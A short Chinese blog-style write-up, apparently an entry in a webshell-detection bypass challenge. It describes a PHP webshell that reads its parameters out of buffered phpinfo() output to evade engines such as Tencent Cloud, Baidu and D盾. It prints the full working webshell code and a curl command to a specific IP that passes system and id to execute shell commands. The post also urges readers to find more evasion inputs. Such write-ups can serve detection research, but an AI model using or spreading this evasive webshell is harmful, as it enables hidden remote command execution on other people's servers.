大家都知道webshell的执行分为数据输入、数据传递、数据执行三个阶段,目前可以查阅的资料大多数都是在数据传输和数据执行阶段的绕过,在数据传输阶段的绕过极少,因为通常用来进行数据传输的GET、POST、REQUEST、COOKIE、SESSION、SERVER、FILES、GLOBALS等常见获取外部传参函数都已经被查杀了,而且十分敏感,甚至出现就报毒,后来即使有一些获取外部传参的函数也马上被杀了,例如filter_input函数。
这一次我仍然希望能够从数据输入点绕过腾讯云的webshell,于是我就去寻找能够获取外部传参的函数,但是市面上的基本被查杀的很死了,这个时候发现了phpinfo()函数,它提供关于系统中安装的php版本和php配置的详细信息,但是它同时也记录了外部传参。
当没有给phpinfo传入参数的时候,phpinfo的返回如下:
当给phpinfo传入huo=system参数的时候,phpinfo的返回如下:
由于phpinfo函数并没有主动危害性,所以大多数的webshell检测引擎都不会将他加入黑名单,我们利用他来获取传参自然也不会被杀。
最终实现如下:
<?php
phpinfo();
if(file_exists(__FILE__)){
$b = fn() => basename(__FILE__);
}
ob_start();
require_once($b());
phpinfo();
$content = ob_get_contents();
ob_end_clean();
preg_match('/huo.*?">(.*?)<.*?chen.*?">(.*?)</s', $content, $arr);
$a=explode(',',$arr[1])[0];
$b=${(explode(',',$arr[2])[0])}{0};
($c??=$a)($b);
百度检测引擎检测结果:
D盾检测结果:
腾讯云检测结果:
使用方法:
curl "http://180.76.174.84/test/test7.php?huo=system&chen=_GET&0=id"
执行结果:
当然最后没有通过审核,审核给出的原因是“缓冲区利用的绕过手法重复”。不过可以借鉴学习,以寻找更多的可以获取外部传参的函数用于从数据输入处绕过检测引擎。